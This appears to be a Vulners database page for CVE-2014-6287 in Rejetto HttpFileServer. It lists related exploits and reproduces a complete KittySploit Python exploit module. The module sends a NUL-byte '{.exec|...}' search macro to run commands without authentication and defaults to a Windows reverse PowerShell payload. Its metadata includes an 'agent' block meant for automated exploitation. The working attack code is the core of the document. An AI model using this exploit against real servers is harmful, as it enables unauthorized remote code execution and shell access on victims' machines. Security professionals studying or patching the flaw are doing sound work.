HFS CVE-2014-6287 search macro RCE
| Reporter | Title | Published | Views | Family All 61 |
|---|---|---|---|---|
| Exploit for Code Injection in Rejetto Http_File_Server | 25 Jan 202622:51 | – | githubexploit | |
| Exploit for Code Injection in Rejetto Http_File_Server | 16 May 202623:24 | – | githubexploit | |
| Exploit for Code Injection in Rejetto Http_File_Server | 10 Mar 202615:31 | – | githubexploit | |
| Exploit for Code Injection in Rejetto Http_File_Server | 16 Sep 202517:44 | – | githubexploit | |
| HttpFileServer 2.3.x Remote Command Execution Vulnerability | 13 Sep 201400:00 | – | zdt | |
| Rejetto HttpFileServer Remote Command Execution Exploit | 9 Oct 201400:00 | – | zdt | |
| Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (2) | 4 Jan 201600:00 | – | zdt | |
| HFS Http File Server 2.3.x - Remote Command Execution Exploit (3) | 23 Feb 202100:00 | – | zdt | |
| CVE-2014-6287 | 7 Oct 201400:00 | – | attackerkb | |
| CVE-2014-6287 | 15 Sep 201400:00 | – | circl |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Rejetto HFS CVE-2014-6287 unauthenticated search macro command execution."""
from __future__ import annotations
from urllib.parse import quote
from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client
class Module(Exploit, Http_client, Handler):
__info__ = {
"name": "HFS CVE-2014-6287 search macro RCE",
"description": (
"CVE-2014-6287 (HttpFileServer 2.3–2.3c): NUL-byte desync in the search "
"handler allows {.exec|cmd.} macro execution without authentication."
),
"author": ["KittySploit Team"],
"cve": ["CVE-2014-6287"],
"platform": Platform.WINDOWS,
"arch": [Arch.CMD],
"payload": {
"default": "payloads/singles/cmd/windows/reverse_powershell",
"platform": Platform.WINDOWS,
"category": PayloadCategory.CMD,
},
"references": [
"https://nvd.nist.gov/vuln/detail/CVE-2014-6287",
"https://github.com/dinosn/exploit-watch-archive",
],
"tags": ["hfs", "httpfileserver", "rce", "unauth", "cve-2014-6287"],
"agent": {
"risk": "critical",
"effects": ["active_exploitation", "remote_code_execution"],
"expected_requests": 2,
"reversible": False,
"approval_required": True,
"produces": ["exploit_paths", "rce", "shell"],
"chain": {"suggested_followups": ["scanner/http/hfs_cve_2014_6287_detect"]},
},
}
port = OptPort(8080, "HFS HTTP port", required=True)
ssl = OptBool(False, "Use HTTPS", required=True)
command = OptString("", "Command (overrides payload)", required=False)
def execute(self, cmd: str) -> str:
macro = "{.exec|" + str(cmd) + ".}"
search = "\x00" + macro
path = "/?search=" + quote(search, safe="")
resp = self.http_request("GET", path, allow_redirects=False)
code = int(getattr(resp, "status_code", 0) or 0) if resp else 0
return f"HTTP {code}"
def check(self):
resp = self.http_request("GET", "/", allow_redirects=True)
body = (resp.text or "").lower() if resp else ""
if "httpfileserver" in body or "hfs" in body:
return {"vulnerable": True, "reason": "HttpFileServer UI detected", "confidence": "medium"}
return {"vulnerable": False, "reason": "HFS not detected", "confidence": "low"}
def check_execute(self):
token = self.random_text(6)
cmd = f'cmd /c echo {token}'
self.execute(cmd)
return True
def run(self):
cmd = str(self.command or "").strip() or str(self.payload or "").strip()
if not cmd:
print_error("Set command or payload")
return False
chk = self.check()
if not chk.get("vulnerable"):
print_warning(chk.get("reason", "HFS fingerprint weak — continuing"))
print_status("CVE-2014-6287 — HFS search macro injection")
detail = self.execute(cmd)
print_success(f"Macro dispatched ({detail})")
if str(self.command or "").strip():
return self.handler_execute()
return True
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
26 Oct 2026 17:01Current
8.5High risk
Vulners AI Score8.5
CVSS 3.19.8
CVSS 210
EPSS0.99323
SSVC